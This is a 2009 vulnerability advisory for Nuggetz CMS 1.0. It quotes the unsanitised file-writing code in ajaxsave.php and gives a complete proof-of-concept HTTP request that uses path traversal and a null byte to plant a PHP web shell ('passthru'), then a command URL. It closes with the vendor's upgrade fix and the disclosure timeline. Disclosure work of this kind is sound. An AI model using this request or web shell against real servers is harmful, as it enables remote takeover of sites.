####################################################################### Remote Code Execution in Nuggetz CMS 1.0 Name Remote Code Execution in Nuggetz CMS Systems Affected Nuggetz CMS 1.0 site http://www.nuggetz.co.uk/ Author Amol Naik (amolnaik4[at]gmail.com) Date 10/12/2009 ####################################################################### ############ OVERVIEW ############ Nuggetz CMS 1.0 is vulnerable to Remote Code Execution. ###################### Technical Details ###################### Vulnerable file: ajaxsave.php Vulnerable Code: <?php $save = str_replace('\"','"',$_POST['pagevalue']); $nugget = $_GET['nugget']; $fhandle = fopen("../data/$nugget.nuggetz",'w'); // Write some data fwrite($fhandle,$save); fclose($fhandle); print $save; ?> This file is used to save any changes done in nugget. The parameter 'nugget' is used to call the file for ex. support.nugget, which is at /web_dir/data/. The changed values are written back to the respective nugget. The parameters 'pagevalue' and 'nugget' are not properly sanitized. It is possible to create/edit files in the web server which leads to creating a new file with php command shell (RCE). ###### PoC ###### The following request creates shell.php at /nuggetz/ POST /nuggetz/nuggetz/admin/ajaxsave.php?nugget=../../shell.php%00 HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Proxy-Connection: keep-alive Cookie: PHPSESSID=4m2iiqdt0q38cna2iemtfel7p3 Content-Type: application/x-www-form-urlencoded Content-Length: 45 pagevalue=<?php passthru($_GET['cmd']); ?> Shell Access: http://localhost/nuggetz/shell.php?cmd=dir ############# WorkAround ############# Upgrade to Nuggetz 1.0.1 Download: http://www.nuggetz.co.uk/nuggetz_v1.0.1.zip ############ Reference ############ http://www.nuggetz.co.uk/versionhistory.htm ############ TimeLine ############ Bug discovered : 09/12/2009 Informed Vendor : 10/12/2009 Vendor released new version : 10/12/2009 Public Disclosure : 10/12/2009